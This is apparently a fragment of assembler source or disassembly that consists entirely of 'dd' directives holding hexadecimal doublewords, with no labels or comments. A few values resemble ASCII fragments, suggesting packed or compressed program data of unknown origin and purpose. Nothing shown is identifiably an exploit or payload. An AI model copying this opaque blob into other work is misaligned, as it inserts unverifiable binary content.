dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h
dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
dd 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h
dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h
dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h
dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
dd 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh
dd 0E892AB34h
dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h
dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh
dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h
dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h
dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah
dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h
dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh
dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h
dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h
dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh
dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h
dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh
dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h
dd 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h
dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h
dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h
dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h
dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh
dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h
dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh
dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh
dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h
dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h
dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h
dd 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h
dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h
dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h
dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h
dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h
dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h
dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh
dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh
dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h
dd 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h
dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h
dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh
dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h
dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh
dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh
dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh
dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h
dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h
dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh
dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h
dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah
dd 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h
dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h
dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh
dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h
dd 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh
dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh
dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h
dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh
dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h
dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h
dd 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh
dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h
dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h
dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh
dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h
dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh
dd 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h
dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h
dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h
dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h
dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh
dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h
dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h
dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah
dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah
dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h
dd 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h
dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h
dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h
dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh
dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h
dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h
dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h
dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh
dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h
dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h
dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h
dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h, 70F70Fh
dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch
dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h
dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h
dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h
dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h
dd 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h
dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h
dd 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah
dd 0C02001A1h
dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h
dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h
dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h, 0D68ED24Eh
dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh, 40001B1Fh
dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h
dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh
dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h
dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h
dd 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h, 0C8EE07h
dd 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h, 42CC88h
dd 2F3344DCh, 85844F80h, 251520Fh, 40400FABh, 9C7C20F9h
dd 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h, 2A60A510h
dd 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh, 38F8D333h
dd 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh, 2500AFEAh
dd 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h, 2C383500h
dd 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h, 0FC2B7A81h
dd 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h, 703C685Dh
dd 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h, 2299B355h
dd 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h, 0E8C76603h
dd 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h, 4991410h, 0ECA78056h
dd 98EB00E8h, 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh
dd 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh
dd 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h
dd 84280015h, 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h
dd 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h
dd 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah
dd 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h
dd 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h
dd 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h
dd 5771E14h, 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h
dd 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h
dd 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h
dd 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h
dd 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h
dd 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch
dd 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h
dd 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh
dd 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h
dd 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h
dd 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h
dd 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h
dd 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h
dd 98396072h, 22586132h, 60502354h, 4800C819h, 407244E4h
dd 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h
dd 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh
dd 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h
dd 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh
dd 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h
dd 4914DC05h, 57780800h, 64487710h, 5387000Ch, 517F90FDh
dd 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h, 0B1465080h
dd 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h
dd 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh
dd 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h
dd 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h
dd 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h
dd 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h
dd 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h
dd 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh
dd 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h
dd 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h
dd 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h
dd 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh
dd 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h
dd 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h
dd 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h
dd 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch
dd 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh
dd 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h
dd 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h
dd 0F0756020h, 10165209h, 35010E65h, 47F658A8h, 79043CD0h
dd 0F01F642h, 76694445h, 415A7900h, 90016FBBh, 585E60C1h
dd 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h, 7700C820h
dd 8210C92h, 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch
dd 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h
dd 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h
dd 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch
dd 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h
dd 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h
dd 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h
dd 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h
dd 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h
dd 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h
dd 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h
dd 6B632661h, 67905081h, 4064A294h, 1109C93Bh, 20747003h
dd 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h
dd 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh
dd 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh
dd 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh
dd 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh
dd 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh
dd 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h
dd 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h
dd 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh
dd 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h
dd 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h
dd 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh
dd 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h
dd 0A120DC7Fh
dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h
dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h
dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h
dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h
dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h
dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh
dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh
dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h
dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h
dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h
dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh
dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh
dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h
dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h
dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h
dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h
dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh
dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h
dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
dd 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
dd 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh
dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h
dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
dd 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h
dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
dd 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h
dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h
dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh
dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h
dd 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h
dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h
dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h
dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h
dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh
dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
dd 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh
dd 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h
dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h
dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h
dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
dd 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h
dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h
dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h
dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h
dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
dd 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h, 0A6B4BA7h
dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
dd 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h, 6939FFB8h
dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
dd 915FF800h, 0E1E44D28h
dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h
dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
